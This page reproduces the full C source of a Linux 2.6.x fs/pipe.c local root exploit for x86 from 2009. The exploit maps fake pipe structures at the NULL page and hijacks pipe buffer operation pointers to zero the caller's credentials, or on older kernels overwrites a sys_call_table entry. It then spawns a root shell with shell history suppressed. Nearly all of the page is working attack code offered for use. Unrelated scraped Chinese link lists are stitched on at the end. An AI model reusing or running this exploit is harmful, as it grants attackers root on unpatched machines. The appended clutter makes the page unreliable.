Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
/******************************************************************************
* .:: Impel Down ::.
*
* Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
* by teach & xipe
* Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
* (hehe guyz, we would probably be high profile and mediatised el8 if we
* lost less time on trolling all day long, but we LOVE IT :)))
* Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
* promise ivan, one day i'll kill u :p)
*
* (C) COPYRIGHT teach & xipe, 2009
* All Rights Reserved
*
* teach@vxhell.org
* xipe@vxhell.org
*
*******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/personality.h>
/* First of all, im about to teach (hehe, just like mah nick) you mah powerful copy-and-past skillz */
// didn't really care about this. i mixed 2.6.0 to 2.6.31 :)
#define PIPE_BUFFERS (16)
struct __wait_queue_head {
int spinlock;
void *next, *prev; // struct list_head
};
struct fasync_struct { // bleh! didn't change from 2.6.0 to 2.6.31
int magic;
int fa_fd;
struct fasync_struct *fa_next;
void *file; // struct file
};
// this iz the w00t about 2.6.11 to 2.6.31
struct pipe_buf_operations {
int suce;
int *fptr[6];
};
// from 2.6.0 to 2.6.10
struct pipe_inode_info_2600_10 {
struct __wait_queue_head wait;
char *base; // !!!!!
unsigned int len; // !!!
unsigned int start; // !!!
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
};
// from 2.6.11 to 2.6.16
struct pipe_buffer_2611_16 {
void *suce;
unsigned int offset, len;
struct pipe_buf_operations *ops;
};
struct pipe_inode_info_2611_16 {
struct __wait_queue_head wait;
unsigned int nrbufs, curbuf;
struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
};
// from 2.6.17 to 2.6.19
struct pipe_buffer_2617_19 {
void *suce;
unsigned int offset, len;
struct pipe_buf_operations *ops;
unsigned int tapz;
};
struct pipe_inode_info_2617_19 {
struct __wait_queue_head wait;
unsigned int nrbufs, curbuf;
struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
void *suce;
};
// from 2.6.20 to 2.6.22
struct pipe_buffer_2620_22 {
void *suce;
unsigned int offset, len;
struct pipe_buf_operations *ops;
unsigned int tapz;
};
struct pipe_inode_info_2620_22 {
struct __wait_queue_head wait;
unsigned int nrbufs, curbuf;
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
void *suce;
struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
};
// AND FINALY from 2.6.23 to 2.6.31 ... :))
struct pipe_buffer_2623_31 {
void *suce;
unsigned int offset, len;
struct pipe_buf_operations *ops;
unsigned int tapz;
unsigned long tg;
};
struct pipe_inode_info_2623_31 {
struct __wait_queue_head wait;
unsigned int nrbufs, curbuf;
void *tmp_page;
unsigned int start;
unsigned int readers;
unsigned int writers;
unsigned int waiting_writers;
unsigned int r_counter;
unsigned int w_counter;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
void *suce;
struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
};
static pid_t uid;
static gid_t gid;
static int iz_kern2600_10;
unsigned long taskstruct[1024];
void gomu_gomu_nooooo_gatling_shell(void);
int get_kern_version(void);
void map_struct_at_null(void);
void get_cur_task_and_escalate_priv(void);
void* get_null_page(void);
void error(char *s);
int is_done(int new);
static inline void *get_4kstack_top()
{
void *stack;
__asm__ __volatile__ (
"movl $0xfffff000,%%eax ;"
"andl %%esp, %%eax ;"
"movl %%eax, %0 ;"
: "=r" (stack)
);
return stack;
}
static inline void *get_8kstack_top()
{
void *stack;
__asm__ __volatile__ (
"movl $0xffffe000,%%eax ;"
"andl %%esp, %%eax ;"
"movl %%eax, %0 ;"
: "=r" (stack)
);
return stack;
}
static inline void *get_current()
{
void *cur = *(void **)get_4kstack_top();
if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) )
return cur;
else
cur = *(void **)get_8kstack_top();
return cur;
}
void map_struct_at_null()
{
struct pipe_inode_info_2600_10 *pipe2600_10;
struct pipe_inode_info_2611_16 *pipe2611_16;
struct pipe_inode_info_2617_19 *pipe2617_19;
struct pipe_inode_info_2620_22 *pipe2620_22;
struct pipe_inode_info_2623_31 *pipe2623_31;
struct pipe_buf_operations luffy;
FILE *f;
unsigned int *sct_addr;
unsigned int sc_addr;
char dummy;
char sname[256], pipebuf[10];
int ret, i;
void *page;
page = get_null_page();
int version = get_kern_version();
luffy.suce = 1;
for(i = 0; i < 6; i++)
luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv;
// ok lets go ...
if(version >= 2600 && version <= 2610)
{
iz_kern2600_10 = 1;
/* we are going to ninja an obsolete syscall from teh sys_call_table: sys_olduname
* i don't bother to restore it after owning the kernel. implement it if u want :p
*/
// hehe as u see, his imperial majesty spender haz alwayz good trickz
f = fopen("/proc/kallsyms", "r");
if (f == NULL)
{
f = fopen("/proc/ksyms", "r");
if (f == NULL)
{
error("0hn000es. i cant open /proc/{kall,k}syms for looking after teh sys_call_table addr. maybe u should set it yourself!");
}
}
ret = 0;
while(ret != EOF)
{
ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname);
if (ret == 0)
{
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp("sys_call_table", sname))
{
printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr);
fclose(f);
}
}
if(f != NULL)
{
fclose(f);
error("0hn000es. i cant get sys_olduname addr. maybe u should set it yourself!");
}
sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int));
pipe2600_10 = (struct pipe_inode_info_2600_10 *) page;
memcpy(pipebuf, (char *) &sc_addr, sizeof(int));
pipe2600_10->base = pipebuf;
pipe2600_10->len = 0;
pipe2600_10->start = 0;
pipe2600_10->writers = 1;
printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n");
}
else if(version >= 2611 && version <= 2616)
{
pipe2611_16 = (struct pipe_inode_info_2611_16 *) page;
pipe2611_16->writers = 1;
pipe2611_16->nrbufs = 1;
for(i = 0; i < PIPE_BUFFERS; i++)
pipe2611_16->bufs[i].ops = &luffy;
printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n");
}
else if(version >= 2617 && version <= 2619)
{
pipe2617_19 = (struct pipe_inode_info_2617_19 *) page;
pipe2617_19->readers = 1;
pipe2617_19->nrbufs = 1;
for(i = 0; i < PIPE_BUFFERS; i++)
pipe2617_19->bufs[i].ops = &luffy;
pipe2617_19->wait.next = &pipe2617_19->wait.next;
pipe2617_19->wait.spinlock = 1;
printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n");
}
else if(version >= 2620 && version <= 2622)
{
pipe2620_22 = (struct pipe_inode_info_2620_22 *) page;
pipe2620_22->readers = 1;
pipe2620_22->nrbufs = 1;
for(i = 0; i < PIPE_BUFFERS; i++)
pipe2620_22->bufs[i].ops = &luffy;
pipe2620_22->wait.next = &pipe2620_22->wait.next;
pipe2620_22->wait.spinlock = 1;
printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n");
}
else if(version >= 2623 && version <= 2631)
{
pipe2623_31 = (struct pipe_inode_info_2623_31 *) page;
pipe2623_31->readers = 0;
pipe2623_31->nrbufs = 0;
for(i = 0; i < PIPE_BUFFERS; i++)
pipe2623_31->bufs[i].ops = &luffy;
pipe2623_31->wait.next = &pipe2623_31->wait.next;
pipe2623_31->wait.spinlock = 1;
printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n");
}
else
error("errrr! exploit not developped for ur kernel!");
}
int get_kern_version(void) // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ...
{
struct utsname buf;
char second[2],third[3];
int version = 2000;
if(uname(&buf) < 0)
error("can't have ur k3rn3l version. this box isn't for today :P\n");
sprintf(second, "%c", buf.release[2]);
second[1] = 0;
version += atoi(second) * 100;
third[0] = buf.release[4];
if(buf.release[5] >= '0' || buf.release[5] <= '9')
{
third[1] = buf.release[5];
third[2] = 0;
version += atoi(third);
}
else
{
third[1] = 0;
version += third[0] - '0';
}
printf("\t\t+ Kernel version %i\n", version);
return version;
}
// from our g0dz spender & julien :] lullz
void* get_null_page(void)
{
void *page;
if ((personality(0xffffffff)) != PER_SVR4)
{
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (page != NULL)
{
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (page != NULL)
{
error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
}
}
else
{
if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
{
free(page);
error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
}
}
}
else
{
// may be we are lucky today ... :)
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (page != NULL)
{
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (page != NULL)
{
error("this box haz a motherfuckin mmap_min_addr-like stuff! burn it if u can !@#*");
}
}
else
{
if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :(
{
free(page);
error("HELL! can't mprotect my null page !@#*. goto /dev/null !");
}
}
}
printf("\t\t+ Got null page\n");
return page;
}
void gomu_gomu_nooooo_gatling_shell(void) // sgrakkyu & twiz are el8 :))
{
char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
char *envp[] = { "TERM=linux", "PS1=blackbird\\$ ", "BASH_HISTORY=/dev/null",
"HISTORY=/dev/null", "history=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
execve("/bin/sh", argv, envp);
error("hheeeehhh! unable to spawn a sh");
}
int is_done(int new)
{
static int done = 0;
if (done == 1)
return (1);
done = new;
}
volatile int done = 0;
void get_cur_task_and_escalate_priv()
{
uint32_t i;
uint32_t *task = get_current();
uint32_t *cred = 0;
for(i=0; i<0x1000; i++)
{
if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3]))
{
task[i] = 0;
task[i+1] = 0;
task[i+2] = 0;
task[i+3] = 0;
is_done(1);
return;
}
}
for (i = 0; i<1024; i++)
{
taskstruct[i] = task[i];
cred = (uint32_t *)task[i];
if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
cred++; /* Get ride of the cred's 'usage' field */
if (cred[0] == uid && cred[1] == gid
&& cred[2] == uid && cred[3] == gid
&& cred[4] == uid && cred[5] == gid
&& cred[6] == uid && cred[7] == gid)
{
/* Get root */
cred[0] = cred[2] = cred[4] = cred[6] = 0;
cred[1] = cred[3] = cred[5] = cred[7] = 0;
break;
}
}
}
is_done(1);
}
int main(int ac, char **av)
{
int fd[2];
int pid;
char tapz[4];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
map_struct_at_null();
//while (1)
{
pid = fork();
if (pid == -1)
{
perror("fork");
return (-1);
}
if (pid)
{
char path[1024];
/* I assume next opened fd will be 4 */
sprintf(path, "/proc/%d/fd/4", pid);
while (!is_done(0))
{
fd[0] = open(path, O_RDWR);
if (fd[0] != -1)
{
if(iz_kern2600_10)
{
memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int));
write(fd[0], tapz, 4);
}
close(fd[0]);
}
}
if(iz_kern2600_10)
{
syscall(__NR_olduname, NULL);
}
printf("\t\t+ Got root!\n");
gomu_gomu_nooooo_gatling_shell();
return (0);
}
while (!is_done(0))
{
if (pipe(fd) != -1)
{
close(fd[0]);
close(fd[1]);
}
}
}
}
Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)的更多相关文章
- 【转载】重置密码解决MySQL for Linux错误 ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
重置密码解决MySQL for Linux错误 ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using passwor ...
- 关于Windbg Local kernel debugging for Win7
在使用Windbg的时候,如果在Win7上使用Kernel Debug时候会弹出下面的对话框: 在这个对话框中所描述的信息中我们可以看到这么一段话: “Local kernel debugging i ...
- 练习--LINUX进程间通信之无名管道PIPE
IBM上放的这个系统不错,刚好可以系统回温一下LINUX的系统知识. http://www.ibm.com/developerworks/cn/linux/l-ipc/part1/ 感觉年纪大了,前几 ...
- Linux 软件安装到 /usr,/usr/local/ 还是 /opt 目录区别
Linux 的软件安装目录是也是有讲究的,理解这一点,在对系统管理是有益的 /usr:系统级的目录,可以理解为C:/Windows/, /usr/lib理解为C:/Windows/System32./ ...
- Linux IPC实践(2) --匿名PIPE
管道概念 管道是Unix中最古老的进程间通信的形式,我们把从一个进程连接到另一个进程的一个数据流称为一个"管道", 管道的本质是固定大小的内核缓冲区; 如:ps aux | gre ...
- Linux 软件安装到 /usr,/usr/local/ 还是 /opt 目录?
转自:https://blog.csdn.net/aqxin/article/details/48324377 Linux 的软件安装目录是也是有讲究的,理解这一点,在对系统管理是有益的 /usr:系 ...
- Linux 软件 安装到 /usr,/usr/local/ 还是 /opt 目录
Linux 的软件安装目录是也是有讲究的,理解这一点,在对系统管理是有益的 /usr:系统级的目录,可以理解为C:/Windows/,/usr/lib理解为C:/Windows/System32./u ...
- Linux 进程间通讯方式 pipe()函数 (转载)
转自:http://blog.csdn.net/ta893115871/article/details/7478779 Linux 进程间通讯方式有以下几种: 1->管道(pipe)和有名管道( ...
- 【转载】Linux 软件安装到 /usr,/usr/local/ 还是 /opt 目录?
Linux 的软件安装目录是也是有讲究的,理解这一点,在对系统管理是有益的 /usr:系统级的目录,可以理解为C:/Windows/ /usr/lib:理解为C:/Windows/System32. ...
随机推荐
- 转 使用Python的logging.config.fileConfig配置日志
Python的logging.config.fileConfig方式配置日志,通过解析conf配置文件实现.文件 logglogging.conf 配置如下: [loggers]keys=root,f ...
- 关于html 修改滚动条的问题
之前项目需要改变滚动条的样式 一.修改原生样式 原文地址:https://blog.csdn.net/zh_rey/article/details/72473284 问题在于无法兼容火狐与ie等浏览器 ...
- 常用的kubectl命令
本文主要介绍kubernetes排查问题时经常用到的命令.这里主要借助kubectl命令来实现.以下列出常用命令,后面会对每个命令进行详细解释,并举例: kubectl核心命令 get 获取列出一个 ...
- HTML5 回到顶部
图片: html <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> &l ...
- 【串线篇】SpringMVC运行流程
1.所有请求,前端控制器(DispatcherServlet)收到请求,调用doDispatch进行处理 2.根据HandlerMapping中保存的请求映射信息找到,处理当前请求的,处理器执行链(包 ...
- web之请求转发与重定向
请求转发: 重定向:
- js unshift()
定义与用法 unshift()方法可像数组添加一个或多个元素 并返回新长度 语法 arrayObject.unshift(newElement1,newElement2,......,newEleme ...
- php 字符转成数字
1.第一种转换方式:在要转换的变量之前加上用括号括起来的目标类型,如 (int):(bool):(float):(string):(array):(object) 2.第二种转换方式:使用3个具体类型 ...
- 在Anaconda环境下使用Jupyter Notebook
!!!Anaconda 和 Jupyter Notebook 在 zsh 环境下不能正常使用! 启动建立的 Anaconda 环境 安装 nb_conda:conda install nb_conda ...
- 深入理解volatile关键字
Java内存模型 想要理解volatile为什么能确保可见性,就要先理解Java中的内存模型是什么样的. Java内存模型规定了所有的变量都存储在主内存中.每条线程中还有自己的工作内存,线程的工作内存 ...